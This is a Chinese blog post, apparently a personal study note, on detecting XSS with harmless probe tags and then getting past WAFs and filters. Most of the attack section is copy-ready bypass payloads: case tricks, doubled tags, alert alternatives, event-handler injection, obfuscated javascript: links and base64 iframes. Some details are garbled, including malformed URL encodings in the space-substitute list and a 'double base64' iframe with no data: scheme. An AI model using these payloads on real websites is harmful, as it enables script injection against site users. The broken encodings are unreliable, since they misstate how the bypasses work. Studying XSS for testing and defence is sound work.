XSS的应用

免责声明,本博客只是用来自身学习记录,不要运用里面的代码去进行违法犯罪行为。

XSS

首先需要知道的是xss误区,就是在不确定是否有XSS的情况下,不应该是直接上攻击payload,例如<script>alert(123)</script>,而是应该去进行一个XSS探测先确认有无XSS。
以下三种情况就是可能你直接一个payload过去毫无反应,但是你根本确定不了是否存在XSS

1.waf直接给你拦截了,你payload根本打不进去。
2.对方后端就过滤死了不让你使用</script>这种明显的标签。
3.对方压根就不允许弹框。

引用借鉴up主的关键句:XSS本质

XSS的本质原理就是解析了用户插入的标签,那么既然是解析标签,就可以插入没有攻击危害的标签进行先探测XSS。
如果解析标签成功,确认存在XSS,你再一步一步绕过那“三个大麻烦’,去搞攻击型payload看看是否存在XSS漏洞

下面都是无危害探测标签,基本不会触发任何WAF

<s>123
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#//--+
*"></tExtArEa><s>123#//--+

学习网站 XSS学习靶场

上面讲述了XSS的本质,就是看是否有网站解析,那网站解析结果就可以弹出来是否存在XSS,这个具体要看响应包,附以下截图
在这里插入图片描述
通过上面操作可以跳过waf,接下来说XSS的绕过手段

XSS绕过

一、XSS基础绕过

  • 大小写绕过
<Script>alert(1)</Script>
  • 双写绕过
<script<script>>alert(1)</sc</script>ript>
  • 禁用alert绕过
<img src="1" onerror="confirm('xss')"> (双引号可加可不加)
<script>confirm(1)</script>
<script>prompt(1)</script>
  • 禁用单引号
数字可以不加单引号
<script>confirm(`xss`)</script>
<script>confirm(/xss/)</script>
  • 过滤括号()
    可以使用反单引号代替 `
<script>alert`1`</script>
  • 禁用尖括号<>,只考虑在value属性里面
    也就是闭合value属性,加入触发事件
payload-hello' onmouseover='javascript:alert(1)'
  • 空格的代替
    空格的url编码为:%20
可替换成如下:
%09 %80a %8Ob %80c %Od %a0 /
  • 单引号的代替
    可以将单引号’换成飘号`

二、XSS混淆绕过

以下是比较好用的几个标签

</tExtArEa>'"<a/href="ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;
%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..(30)]()">click_me</a>#
<div class=\"media-wrap image-wrap\"><img
src=\"https://img.threatbook.cn/c375eed802260503b4cee1086ea6
5f0e172480015227cf81a82d77.png\"
onerror=\"alert`1`\"/></div>
<script%20type="text/javascript">%20var%20reg%20=%20/test/;%
20var%20str%20=%20%27testString%27;%20var%20result%20=%20reg
.exec(str);%20alert(result);%20</script>

三、XSS编码加密绕过

套一层Base64

<iframe
src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>

套两层Base64

<iframe
src="PG9iamVjdCBkYXRhPQ0KZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LCBQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值